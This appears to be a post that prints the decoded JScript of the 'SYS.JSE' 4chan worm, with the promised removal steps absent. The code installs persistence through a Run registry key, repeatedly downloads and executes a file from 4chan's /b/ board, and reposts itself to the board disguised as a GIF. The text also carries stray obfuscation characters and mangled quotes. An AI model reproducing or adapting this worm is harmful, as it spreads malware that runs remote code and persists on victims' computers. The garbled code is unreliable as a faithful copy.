Obfuscated 4chan.gif/Invasion.gif/SYS.JSE Decoded and Removal

“‰”;
shell.currentDirectory = fso.getSpecialFolder(2);
shell.run(“cmd /c copy “” + WSH.scriptFullName + “” sys.jse”);
try {
“û”;
shell.regWrite(“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\sysjse”, “wscript /b ” + fso.getSpecialFolder(2) + “\sys.jse”);
} catch(e) {}

while(1) { try {

xhr.open(“get”, “http://img.4chan.org/b/”, 0);
“ö”;
xhr.setRequestHeader(“If-Modified-Since”, new Date(0));
xhr.send();
var page = xhr.responseText;

try {
xhr.open(“get”, page.match(/<a href=”(http://img.4chan.org/b/src/d+….)/)[1], 0);
“è”;
xhr.send();
var im = new ActiveXObject(“Adodb.Stream”);
im.mode = 3;
im.type = 1;
im.open();
im.write(xhr.responseBody);
im.saveToFile(“j.jse”, 2);
“ÿ”;
shell.run(“wscript /b j.jse”);
} catch(e) {}

var bdry = (“”+Math.random()).substr(2);
var head = “rn–” + bdry + “rnContent-Disposition: form-data; name=”;

var part1 = fso.openTextFile(“y”, 2, 1);
“Ó”;
part1.write(head + “restornrn” + page.match(/<span id=”nothread(d+)/)[1] + head + “upfile; filename=a.gifrnrn”);
part1.close();

var part2 = fso.openTextFile(“z”, 2, 1);
“ú”;
part2.write((“”+Math.random()).substr(2) + head + “modernrnregistrn–” + bdry + “–rn”);
part2.close();

shell.run(“cmd /c copy /b y+sys.jse+z p”, 0, 1);

var post = new ActiveXObject(“Adodb.Stream”);
“Ù”;
post.mode = 3;
post.type = 1;
post.open();
post.loadFromFile(“p”);

try {
ie.navigate(“http://img.4chan.org/b/”);
do {
WSH.sleep(100);
“Å”;
} while (ie.readyState != 4);
ie.stop();
ie.document.cookie = “nws_style=; expires=” + new Date(0) + “; path=/; domain=.4chan.org”;
} catch(e) {}

“ö”;
xhr.open(“post”, “http://dat.4chan.org/b/imgboard.php”, 0);
xhr.setRequestHeader(“Content-Type”, “multipart/form-data; boundary=” + bdry);
xhr.send(post);

WSH.sleep(50000);

} catch(e) {} }